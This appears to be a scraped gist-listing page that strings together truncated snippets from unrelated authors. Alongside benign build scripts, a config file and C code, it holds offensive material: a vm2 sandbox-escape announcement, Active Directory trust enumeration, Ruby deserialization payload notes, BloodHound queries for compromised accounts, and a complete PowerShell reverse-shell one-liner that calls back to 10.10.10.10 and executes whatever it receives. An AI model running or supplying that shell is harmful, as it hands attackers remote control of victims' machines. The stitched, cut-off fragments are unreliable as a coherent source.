leesh3288

Sandbox Escape in [email protected]

Summary

There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException() which can be used to escape the sandbox and run arbitrary code in host context.

Proof of Concept

oXis

Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts 

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


Grab Forest Trusts.

([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

synthetic-intelligence

First rule of proxmarking read the datasheets

Second rule of proxmarking search the forum

Third rule of proxmarking learning is hard and takes time

now go and read the following

kudaliar032

########################################################################
########################################################################
## This is a sample configuration file for the ftpsync mirror script. ##
## Only options most users may need are included.  For documentation  ##
## and all available options see ftpsync.conf(5).                     ##
########################################################################
########################################################################

# MIRRORNAME=`hostname -f`
TO="/home/debian-mirror/data"

sooorajjj

#STM32MP1

source /home/ssd/STM/STM32MP1/Developer-Package/SDK/environment-setup-cortexa7t2hf-neon-vfpv4-openstlinux_weston-linux-gnueabi
set | grep CROSS
#    CROSS_COMPILE=arm-openstlinux_weston-linux-gnueabi-


############################### Build kernel #################################

cd /home/ssd/STM/STM32MP1/Developer-Package/stm32mp1-openstlinux-4.19-thud-mp1-19-10-09/sources/arm-openstlinux_weston-linux-gnueabi/linux-stm32mp-4.19-r0/linux/

staaldraad

Based on excellent write-up from https://www.elttam.com.au/blog/ruby-deserialization/

Doesn't work to use YAML.dump(payload) in the above script. This only produces the following YAML, which is worthless:

--- !ruby/object:Gem::Requirement
requirements:
- - ">="
  - !ruby/object:Gem::Version
 version: '0'

seajaysec

{
    "queries": [{
            "name": "List all owned users",
            "queryList": [{
                "final": true,
                "query": "MATCH (m:User) WHERE m.owned=TRUE RETURN m"
            }]
        },
        {
            "name": "List all owned computers",

hawell

#include "openssl/engine.h"
#include "openssl/evp.h"
#include "rfc1321/global.h"
#include "rfc1321/md5.h"

#define MD5_DIGEST_LENGTH 16
#define MD5_CBLOCK 64

static const char *engine_id = "MD5";
static const char *engine_name = "A simple md5 engine for demonstration purposes";

egre55

# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

erichschroeter

#include <stdio.h>
#include <sys/ioctl.h>

#include "termios_dbg.h"

#define CHECK_BIT(var, pos) ((var) & (1<<(pos)))

void ptermios_iflag(struct termios *tty)
{
	printf("c_iflag=0x%x\n", tty->c_iflag);